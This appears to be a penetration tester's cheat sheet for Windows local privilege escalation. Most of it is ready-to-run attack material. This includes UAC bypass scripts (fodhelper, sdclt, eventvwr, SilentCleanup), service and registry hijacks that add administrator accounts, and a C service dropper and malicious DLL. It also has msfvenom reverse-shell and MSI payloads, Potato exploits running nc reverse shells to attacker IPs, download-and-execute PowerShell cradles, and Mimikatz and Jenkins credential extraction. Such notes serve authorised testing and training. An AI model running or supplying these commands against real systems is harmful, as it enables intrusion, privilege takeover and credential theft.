Local Priv Esc - Windows

Resources

Tools

  • WinPEAS

    reg add HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1 
    
    #Avoid time-consuming searches:
    Winpeas.exe quiet cmd fast
    
    #Download & Execute One-liner
    $wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/winPEAS/winPEASexe/binaries/Obfuscated%20Releases/winPEASx64.exe" -UseBasicParsing | Select-Object -ExpandProperty Content)); [winPEAS.Program]::Main("")
  • Kernel Exploits: Pre-compiled

  • Seatbelt: Seatbelt.exe -group=all

  • Winexe

    • Linux tool to run windows commands on target.

  • Accesschk.exe [Older version]

Tips

To read the registry values without PowerShell, specify the architecture:
REG QUERY "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon" /v DefaultPassword /reg:64

#Scenario: Priv esc using stolen creds through port forwarding.

winexe -U Administrator%Welcome1! //127.0.0.1 "cmd.exe"

Physical Access

#Create live bootable OS & login. Download chntpw.
chntpw -l SAM
Remove the password for existing user A/c. Login with <blank> password.
Open CMD, add new user to LA group.

Exploit Suggester

wget https://github.com/AonCyberLabs/Windows-Exploit-Suggester/blob/master/windows-exploit-suggester.py
wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
python get-pip.py
python -m pip install --user xlrd==1.1.0

./windows-exploit-suggester.py --update
./windows-exploit-suggester.py --database <Database file> --systeminfo  ./<Target-systeminfo.txt> 

#Windows XP SP01 Privesc
https://sohvaxus.github.io/content/winxp-sp1-privesc.html

#Check for vulnerable services
.\Seatbelt NonStandardProcesses

UAC Bypass

  • Latest Research

How does UAC work?

  • Confirm if UAC is turned ON:

#Look for group Mandatory Label\Medium Mandatory Level  + Local Admin Privileges
whoami /groups
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System

Now notice the three highlighted keys above and their values.

  1. EnableLUA tells us whether UAC is enabled. If 0 we don’t need to bypass it at all can just PsExec to SYSTEM. If it’s 1 however, then check the other 2 keys

  2. ConsentPromptBehaviorAdmin can theoretically take on 6 possible values (readable explanation here), but from configuring the UAC slider in Windows settings it takes on either 0, 2 or 5.

  3. PromptOnSecureDesktop is binary, either 0 or 1.

Enumeration

#Check if AutoElevate exists
sigcheck.exe -m ANYLOLBIN.exe | findstr autoElevate

Eventviewer Bypass

#Ensure that eventvwr.exe exists
where /r C:\windows eventvwr.exe
Get-ChildItem -Path c:\Windows -Recurse -Include eventvwr.exe -ErrorAction SilentlyContinue

$ConsentPrompt = (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).ConsentPromptBehaviorAdmin
$SecureDesktopPrompt = (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).PromptOnSecureDesktop

#If False, we can proceed
$ConsentPrompt -Eq 2 -And $SecureDesktopPrompt

#Check if sautoelevate is set to High integrity.
strings64.exe -accepteula C:\Windows\System32\eventvwr.exe | findstr /i autoelevate
        [autoElevate]true[/autoElevate]
#Reference: https://ivanitlearning.wordpress.com/2019/07/07/bypassing-default-uac-settings-manually/
#Compile revshell.exe using msfvenom. Copy payload + exploit to same path.

wget https://raw.githubusercontent.com/turbo/zero2hero/master/main.c

#Modify main.c:  \\foobar.exe to \\revshell.exe

/*
GetCurrentDirectory(MAX_PATH, curPath);
strcat(curPath, "\\foobar.exe");
*/

#Cross-compile
x86_64-w64-mingw32-gcc main.c -o eventvwr-bypassuac-64.exe
#Transfer both executables to target and execute.

Interesting Read :

Metasploit

  • Check local_exploit_suggester output.

  • Windows Server 2012 R2

Reference: https://0x00-0x00.github.io/research/2018/10/31/How-to-bypass-UAC-in-newer-Windows-versions.html

  • This exploit will create a new pop-up. Works with RDP access only.

    • Save this as Bypass-UAC.ps1

      • . .\Bypass-UAC.ps1

      • Bypass-UAC -Command "C:\Windows\system32\cmd.exe"

function Bypass-UAC
{
    Param(
        [Parameter(Mandatory = $true, Position = 0)]
        [string]$Command
    )
    if(-not ([System.Management.Autom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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAMAAAA0D4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")) | Out-Null
    }
    [CMSTPBypass]::Execute($Command)
}

Fodhelper Bypass

  • Requires interactive access on target

 $custom = "cmd.exe /c net user hacker Password123! /add && net localgroup administrators hacker /add" #default
  
#Registry Command Edit
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $custom -Force
 
#Bypass Execution
Start-Process "C:\Windows\System32\fodhelper.exe"

SilentCleanup

  • . .\uac.ps1

#Save as uac.ps1

if((([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544")) {
    #Payload goes here net user hacker Password123! /add
    #It'll run as Administrator
} else {
    $registryPath = "HKCU:\Environment"
    $Name = "windir"
    $Value = "powershell -ep bypass -w h $PSCommandPath;#"
    Set-ItemProperty -Path $registryPath -Name $name -Value $Value
    #Depending on the performance of the machine, some sleep time may be required before or after schtasks
    schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I | Out-Null
    Remove-ItemProperty -Path $registryPath -Name $name
}

sdclt

  • Requires interactive shell

#References
https://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass
https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/
https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/

#Modify registry with payload
reg add "HKCU\Software\Classes\Folder\shell\open\command" /d "cmd.exe /c notepad.exe" /f && reg add HKCU\Software\Classes\Folder\shell\open\command /v "DelegateExecute" /f

#Trigger
%windir%\system32\sdclt.exe

#Cleanup
reg delete "HKCU\Software\Classes\Folder\shell\open\command" /f

Write Access On Service/Directory

icacls C:\Service\service_name.exe
icacls <Directory-name>
sc qc <Service-name>
#Generate a payload and replace <vuln-service>.exe

Bin Path

With sufficient permissions, we can re-configure the service let it run any binary of our choosing with SYSTEM level privileges.

  • Accesschk

    • -u : Suppress errors

    • -w : Show only objects with write-access

    • -c: Display service name

    • -v : Verbose

Get-Service | select -ExpandProperty name | ForEach-Object {sc.exe qc $_} | select-string -pattern 'BINARY_PATH_NAME'

#Accesschk
accesschk.exe /accepteula -uwcqv <user> <Service>
accesschk.exe /accepteula -uwcqv <"Group-name"> *

#PowerUp Invoke-AllChecks
Get-ModifiableServiceFile -Verbose

#Query, configure and manage windows services
sc qc vulnservice
#Notice the space after ' = '
sc config vulnservice binpath= "net localgroup administrators <domain>\<user> /add"
sc config vulnservice binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc start vulnservice

#Tip: If required change LocalService to LocalSystem
# Set obj and password
C:\> sc config upnphost obj= ".\LocalSystem" password= ""

shutdown /r /t 0

#Automate-script.bat. Contents:
@echo off
sc config AbyssWebServer binpath= "net localgroup administrators dcorp\student339 /add" 1>NUL
sc stop AbyssWebServer 1>NUL
sc start AbyssWebServer 1>NUL
sc config AbyssWebServer binpath= "C:\WebServer\abyss Web Server\WebServer\abyssws.exe --service" 1>NUL
sc stop AbyssWebServer 1>NUL
sc start AbyssWebServer 1>NUL
echo User dcorp\student339 is added to the local administrators group!
echo.

#Adds user to Administrators group. Requires logoff-logon for permissions to reflect.
Invoke-ServiceAbuse -Name vulnservice -Username <domain>\<user> -Verbose
  • We will not always have full access to a service even if it is incorrectly configured. Any of these access rights will give us a SYSTEM shell.

Unquoted Service Path

  • Requires:

    • Executables that have a space in it's path with no quote.

    • Write permissions in the required folder.

  • Target a service which:

    • Has permission to restart

    • Runs with elevated privileges

  • Generate a reverse shell payload and place in the write-able directory.

Enumerate Services with unquoted paths

#List installed programs
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

#Non-Windows Services. Check for missing quotes:
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """
wmic service get name,displayname,pathname,startmode | findstr /v /i "C:\Windows"

#Check Folder Permissions
powershell "get-acl -Path 'C:\Program Files (x86)\System Explorer' | format-list"

sc query <Service>
sc qc <Service>

#Powerup.ps1
Get-ServiceUnquoted -Verbose
#Get the services whose configuration current user can modify
Get-ModifiableService -Verbose

.\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"

Exploitation

#Create a payload
msfvenom -p windows/exec CMD='net localgroup administrators user /add' -f exe-service -o localprivesc.exe
sc start unquotedsvc

Registry Service

  • When a service is registered with the system, a new key is created under the following registry path:

    • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services

  • Registry entries can have ACLs.

  • If we have "FullControl" over a registry key, we can make changes to the vulnerable service. Maliciously replace the executable of the service. The service would perform elevated commands.

Using Accesschk

  • k - Name is a Registry key, e.g. hklm\software

  • v - Verbose (includes Windows Vista Integrity Level)

  • u - Suppress errors

  • q - Omit Banner

  • s - Recurse

  • w - Show only objects that have write access

#Accesschk
c:\users\downloads\accesschk.exe "Everyone" -kvuqsw hklm\System\CurrentControlSet\services

#Powershell
Get-Acl -Path hklm:\System\CurrentControlSet\services\vuln_svc | fl

#Get executable location-Optional
reg query “HKLM\System\CurrentControlSet\Services\vulnerable-service” /v ImagePath
  • Create a dropper in C#

#include <windows.h>
#include <stdio.h>

#define SLEEP_TIME 5000

SERVICE_STATUS ServiceStatus; 
SERVICE_STATUS_HANDLE hStatus; 
 
void ServiceMain(int argc, char** argv); 
void ControlHandler(DWORD request); 

//add the payload here
int Run() 
{ 
    system("cmd.exe /k net localgroup administrators user /add");
    return 0; 
} 

int main() 
{ 
    SERVICE_TABLE_ENTRY ServiceTable[2];
    ServiceTable[0].lpServiceName = "MyService";
    ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;

    ServiceTable[1].lpServiceName = NULL;
    ServiceTable[1].lpServiceProc = NULL;
 
    StartServiceCtrlDispatcher(ServiceTable);  
    return 0;
}

void ServiceMain(int argc, char** argv) 
{ 
    ServiceStatus.dwServiceType        = SERVICE_WIN32; 
    ServiceStatus.dwCurrentState       = SERVICE_START_PENDING; 
    ServiceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
    ServiceStatus.dwWin32ExitCode      = 0; 
    ServiceStatus.dwServiceSpecificExitCode = 0; 
    ServiceStatus.dwCheckPoint         = 0; 
    ServiceStatus.dwWaitHint           = 0; 
 
    hStatus = RegisterServiceCtrlHandler("MyService", (LPHANDLER_FUNCTION)ControlHandler); 
    Run(); 
    
    ServiceStatus.dwCurrentState = SERVICE_RUNNING; 
    SetServiceStatus (hStatus, &ServiceStatus);
 
    while (ServiceStatus.dwCurrentState == SERVICE_RUNNING)
    {
		Sleep(SLEEP_TIME);
    }
    return; 
}

void ControlHandler(DWORD request) 
{ 
    switch(request) 
    { 
        case SERVICE_CONTROL_STOP: 
			ServiceStatus.dwWin32ExitCode = 0; 
            ServiceStatus.dwCurrentState  = SERVICE_STOPPED; 
            SetServiceStatus (hStatus, &ServiceStatus);
            return; 
 
        case SERVICE_CONTROL_SHUTDOWN: 
            ServiceStatus.dwWin32ExitCode = 0; 
            ServiceStatus.dwCurrentState  = SERVICE_STOPPED; 
            SetServiceStatus (hStatus, &ServiceStatus);
            return; 
        
        default:
            break;
    } 
    SetServiceStatus (hStatus,  &ServiceStatus);
    return; 
} 
  • Compile and transfer to victim.

sudo apt install gcc-mingw-w64
x86_64-w64-mingw32-gcc windows_service.c -o regservc.exe
#For x86 compile with i686-w64-ming32-gcc
  • Place regservc.exe in ‘C:\Temp’.

 reg add HKLM\SYSTEM\CurrentControlSet\services\vulnerable-service /v ImagePath /t REG_EXPAND_SZ /d c:\temp\regservc.exe /f
 sc start vulnerable-service
  • /v: Value for registry key

  • /t: Type

  • REG_EXPAND_SZ: Saying this is a string value

  • /d: Data to execute

  • /f: Don't prompt

  • Tip: Restart the system if we don't have permissions to restart the service :shutdown /r /t 0

Jenkins

  • Default Port: 8080

  • Widely used Continuous Integration Tool

  • Vulnerable to brute-force attacks if it uses standalone db.

    • Presence of AD integration can be identified based on usernames.

Find All Jenkins Instances

nmap 192.168.*.* -p 8080 --open -oA ./nmap_jenkins

#PowerView.ps1 
Get-NetComputer | foreach {
$a = Test-NetConnection -ComputerName $_ -Port 8080 -WarningAction SilentlyContinue -InformationLevel Quiet
if($a -eq "True") {Write-Host "Jenkins:"$_}
}

Privileges required : Admin

  • Default installation before 2.x has admin with no auth.

  • Go to http://<jenkins-server>/script

  • In the script console, Groovy scripts could be executed

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '<INSERT COMMAND>'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Decrypt passwords from Credentials.xml

  • Extract password from File system [C:\Program Files (x86)\Jenkins\credentials.xml]

  • Requires administrator access to the Jenkins console.

  • Go to http://<URL:8080>/script

  • Execute any of the below Groovy Scripts:

println(hudson.util.Secret.decrypt("{<Insert Encrypted Password Here>}"))
println(hudson.util.Secret.fromString("{<Insert Encrypted Password Here>}").getPlainText())

Privileges required: - User access

  • Navigate to <https://<IP>/job/Project_name/configure

  • Add a build step, add "Execute Windows Batch Command"

  • Enter: powershell whoami

  • You could download and execute scripts, run encoded scripts and more.

If Build config menu is not available for current project, enumerate for all available projects.

  • Adding Build Steps

  • Note: By default, Jenkins does not execute multiple build steps if the first step fails.

Trigger via API Call

  • If the user does not have privileges to 'Build Now', try executing remotely via API.

  • Configure - > Create a windows batch script - > Build Triggers -> Apply

Windows Subsystem for Linux (WSL)

  • Search for wsl & bash.exe

where /R c:\windows bash.exe
where /R c:\windows wsl.exe
  • Run wsl to open a bind shell

wsl whoami
  • Don't know the root password? No problem just set the default user to root.

./wsl.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

Token Manipulation

Token impersonation is a technique you can use as local admin to impersonate another user logged on to a system. This is very useful in scenarios where you are local admin on a machine and want to impersonate another logged on user, e.g a domain administrator.

SeAssignPrimaryToken and SeImpersonateprivileges allow you to run code or even create a new process in the context of another user.

#Invoke-TokenManipulation [Looks for interactive logon tokens]
Invoke-TokenManipulation -ImpersonateUser -Username "<Domain\User>"
Get-Process wininit | Invoke-TokenManipulation -CreateProcess "cmd.exe"
Invoke-TokenManipulation -CreateProcess "C:\Windows\system32\WindowsPowershell\v1.0\Powershell.exe" -ProcessId 500
Get-Process wininit | Invoke-TokenManipulation -CreateProcess "Powershell.exe -nop -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://<IP>/Invoke-PowerShellTcp.ps1');\"};"

#Mimikatz [Requires LA]
token::list
token::elevate

#Incognito.exe
# Show tokens on the machine
.\incognito.exe list_tokens -u

# Start new process with token of a specific user
.\incognito.exe execute -c "domain\user" C:\Windows\system32\calc.exe

#Metasploit
load incognito
list_tokens -u 
impersonate_token <domain>\\Administrator
shell

HotPotato

Hot Potato is the name of an attack that uses a spoofing attack along with an NTLM relay attack to gain SYSTEM privileges. The attack tricks Windows into authenticating as the SYSTEM user to a fake HTTP server using NTLM. The NTLM credentials then get relayed to SMB in order to gain command execution.

Affected versions:

  • Windows 7

  • Windows 8

  • Windows 10[Not on latest]

  • Windows Server 2008

  • Windows Server 2012

.\potato.exe -ip <Local host's IP:192.168.1.33> -cmd "C:\Temp\reverse.exe" -enable_httpserver true -enable_defender true -enable_spoof true -enable_exhaust true
#Wait for a Windows Defender update, or trigger one manually.

SEImpersonate Privilege Abuse

To check : whoami /priv

PrintSpoofer.exe -i -c cmd
churrasco.exe -d "C:\inetpub\wwwroot\nc.exe -e cmd.exe 10.10.14.4 4080"
RoguePotato.exe -r <AttackerIP> –l 9999 -e "C:\PrivEsc\reverse.exe"
#Reverse shell
C:\Users\Public>JuicyPotato -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.14.13 9002" -t *

#Run a bat script -> reverse shell
echo cmd /c "nc.exe -e cmd.exe 10.10.0.172 9005"  > rev1.bat
powershell -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.15/rev.ps1')
C:\Users\Public>JuicyPotato -l 4444 -p rev1.bat -t *

#Run JP.exe
Powershell: ./JuicyPotato -l 1337 -p rev.bat -l 9002 -t * -c "{e60687f7-01a1-40aa-86ac-db1cbf673334}"

In case of error: COM -> recv failed with error: 10038

Using Metasploit

#Module in metasploit: help
use incognito 
execute -Hc -f rottenpotate.exe
impersonate_token "NT AUTHORITY\SYSTEM"
getuid

RunAs Command

cmdkey /list

runas /savecred /user:admin
C:\Windows\System32\runas.exe /user:ACCESS\Administrator /savecred "C:\Windows\System32\cmd.exe /c whoami"

#If you can exfil them:
runas /env / savedcred /user:HTTP-SERVER\administrator “reg save HKLM\SYSTEM systembackup.hiv”
runas /env /savedcred /user:HTTP-SERVER\administrator “reg save HKLM\SAM sambackup.hiv”
runas /netonly /user:garrison.local\Administrator powershell.exe

Using Mimikatz:
“privilege::debug”
“token::elevate”
lsadump::SAM sambackup.hiv systembackup.hiv"
  • /savecred: To use credentials previously saved by the user.

Modifiable Registry Autorun

  • Step 1: Identify vulnerable autorun program.

Automated Method

  • PowerUp.ps1 : Invoke-AllChecks

Manual Method

Autoruns64.exe
//In Autoruns, click on the ‘Logon’ tab.
  • Access Check

    • -w: Show items with write-access

    • -v: Verbose

    • -u: Suppress errors

accesschk64.exe -wvu "C:\Program Files\Suspicious Program\Program.exe"
  • Step 2: Generate payload[msfvenom] and replace with program.exe. Start handler.

  • Step 3: Wait for Administrator to login. Program gets executed. Viola! You have a shell.

AutoRuns

Windows can be configured to run commands at startup, with elevated privileges. These “AutoRuns” are configured in the Registry. If you are able to write to an AutoRun executable, and are able to restart the system (or wait for it to be restarted) you may be able to escalate privileges

#Enumerate AutoRun executables:
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

#Verify permissions
.\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\vulnprogram.exe"

Autologon

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
REG QUERY "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon" /v DefaultPassword

Startup Applications

#Check for Write-Access:
icacls.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

#Save as CreateShortcut.vbs
Set oWS = WScript.CreateObject("WScript.Shell")
sLinkFile = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\reverse.lnk"
Set oLink = oWS.CreateShortcut(sLinkFile)
oLink.TargetPath = "C:\Temp\Path_to\reverseshell.exe"
oLink.Save

#Create the reverse.lnk file on the StartUp directory & wait for login.
cscript CreateShortcut.vbs

AlwaysInstallElevated Escalation

  • Admins may deploy installer packages [.msi] which execute with always elevated privileges.

  • “AlwaysInstallElevated” value must be set to 1 for both the local machine and current user in the registries. If either of these are missing or disabled, the exploit will not work.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Exploitation

  • /q: Sets user interface level.

    • /n : No UI

  • /quiet : Quiet mode. No user interaction.

  • /i: Status messages

#Choose a payload
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted
msfvenom -p windows/meterpreter/reverse_tcp lhost=<ip> lport=<port> -f msi -o setup.msi

#Run on target
msiexec /quiet /qn /i C:\Temp\setup.msi

#PowerUp.ps1
Write-UserAddMSI

Misconfigured Executable Files

  • Identify using Powerup: Invoke-AllChecks

  • Create a reverse shellmsfvenom -p windows/shell_reverse_tcp LHOST=10.9.135.196 LPORT=4444 -f exe -o exploit.exe

  • Replace vulnerable executable

  • Start service: sc start filepermsvc

DLL Hijacking

  • Folders that are created at the root of a partition allow any “Authenticated User” to create files and folders in them if the program installer/administrator doesn’t take care of that.

    With this in mind, here are the two most common scenarios you’ll face:

    1. The program installer created a service which runs as NT AUTHORITY\SYSTEM and executes a program from this directory. In this example, we consider that the permissions of the executable itself are properly configured though. In this case, there is a high chance that it is vulnerable to DLL Sideloading. A local attacker could plant a Windows DLL that is used by this service in the application’s folder.

    2. The program installer added the application’s directory to the system’s %PATH%. This case is a bit different. You could still use DLL Sideloading in order to execute code in the context of any other user who would run this application but you could also achieve privilege escalation to SYSTEM. What you need in this case is Ghost DLL Hijacking because, a nonexistent DLL lookup will ultimately end up in the %PATH% directories.

Ideal Candidate for Ghost DLL Hijacking

  • It tries to load a nonexistent DLL without specifying its full path.

  • It doesn’t use a safe DLL search order.

  • It runs as NT AUTHORITY\SYSTEM.

IKEEXT [ wlbsctrl.dll]

Task Scheduler[ WptsExtensions.dll]

Netman [*This method is still being researched*]

Exploitation

  • Identify your attack vector 1.1. Find privileged processes 1.2. Monitor identified processes for hijackable DLLs

  • Check for write permissions in target folders

  • Creating and compiling a “malicious” DLL

  • Exploit it

Generate DLL Payload

  • cmd.exe /k : Carries out the command specified by string and continues.

#Save as POC.c
#include <windows.h>

BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
    if (dwReason == DLL_PROCESS_ATTACH) {
        system("cmd.exe /k whoami > C:\\Temp\\dll.txt");
        ExitProcess(0);
    }
    return TRUE;
}

------------------------------------------------------------------------------------
#Compile & Execute
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll

sc stop <service-name> & sc start <service-name>

#Method 2
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT+<PN> -f dll > hijack.dll

Create a Windows EXE from C++

https://laptrinhx.com/how-to-compile-and-run-a-c-c-program-in-kali-linux-4283947797/

Windows GUI

Scheduled Tasks

Unfortunately, there is no easy method for enumerating custom tasks that belong to other users as a low privileged user account. Often we have to rely on other clues, such as finding a script or log file that indicates a scheduled task is being run.

#List all scheduled tasks your user can see
schtasks /query /fo LIST /v
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State

#Check for write privileges:
accesschk.exe /accepteula -quvw userx C:\DevTools\vulnscript.ps1

Named Pipes

You may be already familiar with the concept of a “pipe” in Windows & Linux:

  • systeminfo | findstr Windows

  • Designed to escalate from Local Admin to SYSTEM privileges.

A named pipe is an extension of this concept. A process can create a named pipe, and other processes can open the named pipe to read or write data from/to it. The process which created the named pipe can impersonate the security context of a process which connects to the named pipe.

Metasploit: Getsystem

  • InMemory: Creates a named pipe controlled by Meterpreter. Creates a service (running as SYSTEM) which runs a command that interacts directly with the named pipe. Meterpreter then impersonates the connected process to get an impersonation access token (with the SYSTEM security context). The access token is then assigned to all subsequent Meterpreter threads, meaning they run with SYSTEM privileges.

  • Dropper: Only difference is a DLL is written to disk, and a service created which runs the DLL as SYSTEM. The DLL connects to the named pipe.

  • Token Duplication:

    • Requires the “SeDebugPrivilege”.

    • Only works on x86 architectures.

    • It finds a service running as SYSTEM which it injects a DLL into. The DLL duplicates the access token of the service and assigns it to Meterpreter. This is the only technique that does not have to create a service, and operates entirely in memory.

Last updated